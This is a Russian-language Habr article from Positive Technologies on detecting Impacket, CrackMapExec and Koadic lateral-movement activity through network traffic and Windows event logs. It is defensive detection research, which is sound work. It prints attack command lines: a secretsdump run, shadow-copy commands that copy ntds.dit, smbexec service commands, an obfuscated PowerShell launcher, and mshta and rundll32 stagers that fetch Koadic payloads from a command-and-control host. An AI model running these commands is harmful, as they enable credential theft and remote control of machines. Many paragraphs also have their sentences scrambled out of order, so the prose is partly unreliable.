Хабрахабр

Как обнаружить атаки на Windows-инфраструктуру: изучаем инструментарий хакеров

В том числе и тех, где основным рабочим инструментом является операционная система Windows. С каждым годом растет количество атак в корпоративном секторе: например в 2017 году зафиксировали на 13% больше уникальных инцидентов чем в 2016 г., а по итогам 2018 — на 27% больше инцидентов, чем в предыдущем периоде. И использовали для этого три инструмента — Impacket, CrackMapExec и Koadic. В 2017—2018 годах группировки APT Dragonfly, APT28, APT MuddyWater проводили атаки на правительственные и военные организации Европы, Северной Америки и Саудовской Аравии. Их исходный код открыт и доступен на GitHub.

Злоумышленники используют их на разных стадиях атаки, следующих после преодоления периметра. Стоит отметить, что эти инструменты используются не для первичного проникновения, а для развития атаки внутри инфраструктуры. Инструменты обеспечивают множество функций — от передачи файлов до взаимодействия с реестром и выполнения команд на удаленной машине. Это, к слову сказать, сложно детектируется и зачастую только с помощью технологий выявления следов компрометации в сетевом трафике или инструментов, позволяющих обнаружить активные действия злоумышленника после проникновения его в инфраструктуру. Мы провели исследование этих инструментов, чтобы определить их сетевую активность.

Что нам необходимо было сделать:

  • Понять, как работает хакерский инструментарий. Узнать, что необходимо атакующим для эксплуатации и какими технологиями они могут воспользоваться.
  • Найти то, что не детектируется средствами информационной безопасности на первых стадиях атаки. Стадия разведки может быть пропущена, либо потому что атакующим выступает внутренний злоумышленник, либо потому что атакующий пользуется брешью в инфраструктуре, о которой не было известно ранее. Появляется возможность восстановить всю цепочку его действий, отсюда возникает желание обнаруживать дальнейшее передвижение.
  • Устранить ложные срабатывания средств обнаружения вторжений. Нельзя забывать и о том, что при обнаружении тех или иных действий на основе одной только разведки возможны частые ошибки. Обычно в инфраструктуре существует достаточное количество способов, неотличимых от легитимных на первый взгляд, получить какую-либо информацию.

Что же дают атакующим эти инструменты? Если это Impacket, то злоумышленники получают большую библиотеку модулей, которые можно использовать на разных стадиях атаки, следующих после преодоления периметра. Многие инструменты используют модули Impacket у себя внутри — например, Metasploit. В нем имеются dcomexec и wmiexec для удаленного выполнения команд, secretsdump для получения учетных записей из памяти, которые добавлены из Impacket. В итоге правильное обнаружение активности такой библиотеки обеспечит и обнаружение производных.

Кроме того, CME имеет в себе готовую функциональность для популярных сценариев: это и Mimikatz для получения паролей или их хешей, и внедрение Meterpreter либо Empire agent для удаленного исполнения, и Bloodhound на борту. О CrackMapExec (или просто CME) создатели неслучайно написали «Powered by Impacket».

Он достаточно свеж, был представлен на международной хакерской конференции DEFCON 25 в 2017 году и отличается нестандартным подходом: работой через HTTP, Java Script и Microsoft Visual Basic Script (VBS). Третий выбранный нами инструмент — Koadic. Создатели называют его COM Сommand & Сontrol, или С3. Такой подход называют living off the land: инструмент пользуется набором зависимостей и библиотек, встроенных в Windows.

IMPACKET

Функциональность Impacket весьма широка, начиная от разведки внутри AD и сбора данных с внутренних серверов MS SQL, заканчивая техниками для получения учетных данных: это и атака SMB relay, и получение с контроллера домена файла ntds.dit, содержащего хеши паролей пользователей. Также Impacket удаленно выполняет команды, используя четыре различных способа: через WMI, сервис для управления планировщиком Windows, DCOM и SMB, и для этого ему нужны учетные данные.

Secretsdump

Давайте рассмотрим secretsdump. Это модуль, целью которого могут быть как машины пользователей, так и контроллеры домена. С его помощью можно получать копии областей памяти LSA, SAM, SECURITY, NTDS.dit, поэтому его можно увидеть на разных стадиях атаки. Первым шагом в работе модуля является аутентификация через SMB, для которой необходим либо пароль пользователя, либо его хеш для автоматического проведения атаки Pass the Hash. Далее идет запрос на открытие доступа к Service Control Manager (SCM) и получение доступа к реестру по протоколу winreg, используя который атакующий может узнать данные интересующих его веток и получить результаты через SMB.

1 мы видим, как именно при использовании протокола winreg происходит получение доступа по ключу реестра с LSA. На рис. Для этого используется команда DCERPC с opcode 15 — OpenKey.

1.
Рис. Открытие ключа реестра по протоколу winreg

Impacket делает это весьма специфично. Далее, когда доступ по ключу получен, происходит сохранение значений командой SaveKey с opcode 20. Кроме того, дальнейшая выгрузка этого файла происходит через SMB из директории System32 (рис. Он сохраняет значения в файл, имя которого — это строка из 8 случайных символов с добавлением .tmp. 2).

2.
Рис. Схема получения ключа реестра с удаленной машины

Выходит, обнаружить подобную активность в сети можно по запросам к определенным веткам реестра по протоколу winreg, специфичным именам, командам и их порядку.

Например, в результате выполнения команды Также этот модуль оставляет следы в журнале событий Windows, благодаря которым он легко обнаруживается.

secretsdump.py -debug -system SYSTEM -sam SAM -ntds NTDS -security SECURITY -bootkey BOOTKEY -outputfile 1.txt -use-vss -exec-method mmcexec -user-status -dc-ip 192.168.202.100 -target-ip 192.168.202.100 contoso/Administrator:@DC

в журнале Windows Server 2016 увидим следующую ключевую последовательность событий:

4624 — удаленный Logon.
2. 1. 5145 — проверка прав доступа к файлу в директории System32. 5145 — проверка прав доступа к удаленному сервису winreg.
3. 4688 — создание процесса cmd.exe, который запускает vssadmin: Файл имеет случайное имя, упомянутое выше.
4.

“C:\windows\system32\cmd.exe" /Q /c echo c:\windows\system32\cmd.exe /C vssadmin list shadows ^> %SYSTEMROOT%\Temp\__output > %TEMP%\execute.bat & c:\windows\system32\cmd.exe /Q /c %TEMP%\execute.bat & del %TEMP%\execute.bat

5. 4688 — создание процесса с командой:

"C:\windows\system32\cmd.exe" /Q /c echo c:\windows\system32\cmd.exe /C vssadmin create shadow /For=C: ^> %SYSTEMROOT%\Temp\__output > %TEMP%\execute.bat & c:\windows\system32\cmd.exe /Q /c %TEMP%\execute.bat & del %TEMP%\execute.bat

6. 4688 — создание процесса с командой:

"C:\windows\system32\cmd.exe" /Q /c echo c:\windows\system32\cmd.exe /C copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3\Windows\NTDS\ntds.dit %SYSTEMROOT%\Temp\rmumAfcn.tmp ^> %SYSTEMROOT%\Temp\__output > %TEMP%\execute.bat & c:\windows\system32\cmd.exe /Q /c %TEMP%\execute.bat & del %TEMP%\execute.bat

7. 4688 — создание процесса с командой:

"C:\windows\system32\cmd.exe" /Q /c echo c:\windows\system32\cmd.exe /C vssadmin delete shadows /For=C: /Quiet ^> %SYSTEMROOT%\Temp\__output > %TEMP%\execute.bat & c:\windows\system32\cmd.exe /Q /c %TEMP%\execute.bat & del %TEMP%\execute.bat

Smbexec

Как и у многих инструментов для постэксплуатации, у Impacket есть модули для удаленного выполнения команд. Мы остановимся на smbexec, который дает интерактивную командную оболочку на удаленной машине. Для этого модуля также требуется аутентификация через SMB либо паролем, либо его хешем. На рис. 3 мы видим пример работы такого инструмента, в данном случае это консоль локального администратора.

3.
Рис. Интерактивная консоль smbexec

Запрос примечателен: в нем поле MachineName имеет значение DUMMY. Первым этапом работы smbexec после аутентификации является открытие SCM командой OpenSCManagerW (15).

4.
Рис. Запрос на открытие Service Control Manager

В случае smbexec мы можем видеть каждый раз одинаковую логику построения команды. Далее происходит создание сервиса с помощью команды CreateServiceW (12). 5 зеленым цветом отмечены неизменяемые параметры команды, желтым — то, что атакующий может изменить. На рис. Нетрудно заметить, что имя исполняемого файла, его директорию и файл output изменить можно, но оставшееся поменять куда сложнее, не нарушая логику работы модуля Impacket.

5.
Рис. Запрос на создание сервиса с помощью Service Control Manager

В журнале Windows Server 2016 для интерактивной командной оболочки с командой ipconfig увидим следующую ключевую последовательность событий: Smbexec также оставляет явные следы в журнале событий Windows.

4697 — установка сервиса на машине жертвы: 1.

%COMSPEC% /Q /c echo cd ^> \\127.0.0.1\C$\__output 2^>^&1 > %TEMP%\execute.bat & %COMSPEC% /Q /c %TEMP%\execute.bat & del %TEMP%\execute.bat

2. 4688 — создание процесса cmd.exe с аргументами из пункта 1.
3. 5145 — проверка прав доступа к файлу __output в директории C$.
4. 4697 — установка сервиса на машине жертвы.

%COMSPEC% /Q /c echo ipconfig ^> \\127.0.0.1\C$\__output 2^>^&1 > %TEMP%\execute.bat & %COMSPEC% /Q /c %TEMP%\execute.bat & del %TEMP%\execute.bat

5. 4688 — создание процесса cmd.exe с аргументами из пункта 4.
6. 5145 — проверка прав доступа к файлу __output в директории C$.

Он поддерживает почти все протоколы в Windows-инфраструктуре и при этом имеет свои характерные особенности. Impacket является основой для разработки инструментов для атак. Здесь и конкретные winreg-запросы, и использование SCM API с характерным формированием команд, и формат имен файлов, и SMB share SYSTEM32.

CRACKMAPEXEC

Инструмент CME призван в первую очередь автоматизировать те рутинные действия, которые приходится выполнять атакующему для продвижения внутри сети. Он позволяет работать в связке с небезызвестными Empire agent и Meterpreter. Чтобы выполнять команды скрытно, CME может их обфусцировать. Используя Bloodhound (отдельный инструмент для проведения разведки), атакующий может автоматизировать поиск активной сессии доменного администратора.

Bloodhound

Bloodhound как самостоятельный инструмент позволяет вести продвинутую разведку внутри сети. Он собирает данные о пользователях, машинах, группах, сессиях и поставляется в виде скрипта на PowerShell или бинарного файла. Для сбора информации используются LDAP или протоколы, базирующиеся на SMB. Интеграционный модуль CME позволяет загружать Bloodhound на машину жертвы, запускать и получать собранные данные после выполнения, тем самым автоматизируя действия в системе и делая их менее заметными. Графическая оболочка Bloodhound представляет собранные данные в виде графов, что позволяет найти кратчайший путь от машины атакующего до доменного администратора.

6.
Рис. Интерфейс Bloodhound

ATSVC является интерфейсом для работы с планировщиком задач Windows. Для запуска на машине жертвы модуль создает задачу, используя ATSVC и SMB. Пример того, что отправляет модуль CME, показан на рис. CME использует его функцию NetrJobAdd (1) для создания задач по сети. 7: это вызов команды cmd.exe и обфусцированный код в виде аргументов в формате XML.

7.
Рис. Создание задачи через CME

Для модуля характерны LDAP-запросы для получения стандартных групп, списка всех машин и пользователей в домене, получение информации об активных пользовательских сессиях через запрос SRVSVC NetSessEnum. После того как задача поступила на исполнение, машина жертвы запускает сам Bloodhound, и в трафике это можно увидеть.

8.
Рис. Получение списка активных сессий через SMB

Примечательным в нем являются аргументы командной строки: Кроме того, запуск Bloodhound на машине жертвы с включенным аудитом сопровождается событием с ID 4688 (создания процесса) и именем процесса «C:\Windows\System32\cmd.exe».

cmd.exe /Q /c powershell.exe -exec bypass -noni -nop -w 1 -C " & ( $eNV:cOmSPEc[4,26,25]-JOiN'')( [chAR[]](91 , 78, 101,116 , 46, 83 , 101 , … , 40,41 )-jOIN'' ) "

Enum_avproducts

Весьма интересен с точки зрения функциональности и реализации модуль enum_avproducts. WMI позволяет с помощью языка запросов WQL получать данные различных объектов Windows, чем по сути и пользуется этот модуль CME. Он генерирует запросы к классам AntiSpywareProduct и AntiМirusProduct о средствах защиты, установленных на машине жертвы. Для того чтобы получить нужные данные, модуль выполняет подключение к пространству имен root\SecurityCenter2, затем формирует WQL-запрос и получает ответ. На рис. 9 показано содержимое таких запросов и ответов. В нашем примере нашелся Windows Defender.

9.
Рис. Сетевая активность модуля enum_avproducts

Но если он включен, то в случае запуска сценария enum_avproducts сохранится событие с ID 11. Зачастую аудит WMI (Trace WMI-Activity), в событиях которого можно найти полезную информацию о WQL-запросах, может оказаться выключенным. В нем будет содержаться имя пользователя, который отправил запрос, и имя в пространстве имен root\SecurityCenter2.

У каждого из модулей CME обнаружились свои артефакты, будь то специфические WQL-запросы или создание определенного вида задачи в task scheduler с обфускацией и характерная для Bloodhound активность в LDAP и SMB.

KOADIC

Отличительной особенностью Koadic является использование встроенных в Windows интерпретаторов JavaScript и VBScript. В этом смысле он следует тренду living off the land — то есть не имеет внешних зависимостей и пользуется стандартными средствами Windows. Это инструмент для полноценного Command & Control (CnC), поскольку после заражения на машину устанавливается «имплант», позволяющий ее контролировать. Такая машина, в терминологии Koadic, называется «зомби». При нехватке привилегий для полноценной работы на стороне жертвы Koadic имеет возможность их поднять, используя техники обхода контроля учетных записей (UAC bypass).

10.
Рис. Командная оболочка Koadic

Для этого ей необходимо обратиться по заранее подготовленному URI и получить основное тело Koadic с помощью одного из стейджеров. Жертва должна сама инициировать общение с сервером Command & Control. 11 показан пример для стейджера mshta. На рис.

11.
Рис. Инициализация сессии с CnC-сервером

Shell, а переменные STAGER, SESSIONKEY, JOBKEY, JOBKEYPATH, EXPIRE содержат ключевую информацию о параметрах текущей сессии. По переменной WS ответа становится понятно, что исполнение происходит через WScript. Последующие запросы связаны непосредственно с функциональностью вызываемых модулей (имплантов). Это первая пара запрос-ответ в HTTP-соединении с CnC-сервером. Все модули Koadic работают только с активной сессией c CnC.

Mimikatz

Так же, как CME работает с Bloodhound, Koadic работает с Mimikatz как с отдельной программой и имеет несколько способов ее запуска. Ниже представлена пара запрос-ответ для загрузки импланта Mimikatz.

12.
Рис. Передача Mimikatz в Koadic

В нем появилось значение у переменной csrf, которая отвечает за выбранный модуль. Можно заметить, как изменился формат URI в запросе. В ответ пришло все то же основное тело Koadic, в которое добавился код, связанный с Mimikatz. Не обращайте внимание на ее имя; все мы знаем, что под CSRF обычно понимают другое. Перед нами закодированная в base64 библиотека Mimikatz, сериализованный . Он достаточно большой, поэтому рассмотрим ключевые моменты. Результат выполнения передается по сети в открытом виде. NET-класс, который будет ее инжектировать, и аргументы для запуска Mimikatz.

13.
Рис. Результат выполнения Mimikatz на удаленной машине

Exec_cmd

В Koadic также есть модули, способные удаленно выполнять команды. Здесь мы увидим все тот же метод генерации URI и знакомые переменные sid и csrf. В случае модуля exec_cmd в тело добавляется код, который способен выполнять shell-команды. Ниже показан такой код, содержащийся в HTTP-ответе CnC-сервера.

14.
Рис. Код импланта exec_cmd

С ее помощью имплант вызывает shell, обрабатывая две ветки кода — shell.exec с возвращением выходного потока данных и shell.run без возращения. Переменная GAWTUUGCFI со знакомым атрибутом WS необходима для выполнения кода.

Koadic не является типичным инструментом, но имеет свои артефакты, по которым его можно найти в легитимном трафике:

  • особое формирование HTTP-запросов,
  • использование winHttpRequests API,
  • создание объекта WScript.Shell через ActiveXObject,
  • большое исполняемое тело.

Изначальное соединение инициирует стейджер, поэтому появляется возможность обнаруживать его активность через события Windows. Для mshta это событие 4688, которое говорит о создании процесса с атрибутом запуска:

C:\Windows\system32\mshta.exe http://192.168.211.1:9999/dXpT6

Во время выполнения Koadic можно увидеть и другие события 4688 с атрибутами, которые отлично его характеризуют:

rundll32.exe http://192.168.241.1:9999/dXpT6?sid=1dbef04007a64fba83edb3f3928c9c6c; csrf=;\..\..\..\mshtml,RunHTMLApplication
rundll32.exe http://192.168.202.136:9999/dXpT6?sid=12e0bbf6e9e5405690e5ede8ed651100;csrf=18f93a28e0874f0d8d475d154bed1983;\..\..\..\mshtml,RunHTMLApplication "C:\Windows\system32\cmd.exe" /q /c chcp 437 & net session 1> C:\Users\user02\AppData\Local\Temp\6dc91b53-ddef-2357-4457-04a3c333db06.txt 2>&1 "C:\Windows\system32\cmd.exe" /q /c chcp 437 & ipconfig 1> C:\Users\user02\AppData\Local\Temp\721d2d0a-890f-9549-96bd-875a495689b7.txt 2>&1

Выводы

Тренд living off the land набирает популярность среди злоумышленников. Они используют встроенные в Windows инструменты и механизмы для своих нужд. Мы видим, как популярные инструменты Koadic, CrackMapExec и Impacket, следующие этому принципу, все чаще встречаются в отчетах об APT. Число форков на GitHub у этих инструментов также растет, появляются новые (сейчас их уже около тысячи). Тренд набирает популярность в силу своей простоты: злоумышленникам не нужны сторонние инструменты, они уже есть на машинах жертв и помогают обходить средства защиты. Мы сосредоточены на изучении сетевого взаимодействия: каждый описанный выше инструмент оставляет свои следы в сетевом трафике; подробное их изучение позволило нам научить наш продукт PT Network Attack Discovery их обнаруживать, что в итоге помогает расследовать всю цепочку киберинцидентов с их участием.

Авторы:

  • Антон Тюрин, руководитель отдела экспертных сервисов, PT Expert Security Center, Positive Technologies
  • Егор Подмоков, эксперт, PT Expert Security Center, Positive Technologies
Теги
Показать больше

Похожие статьи

Добавить комментарий

Ваш e-mail не будет опубликован. Обязательные поля помечены *

Кнопка «Наверх»
Закрыть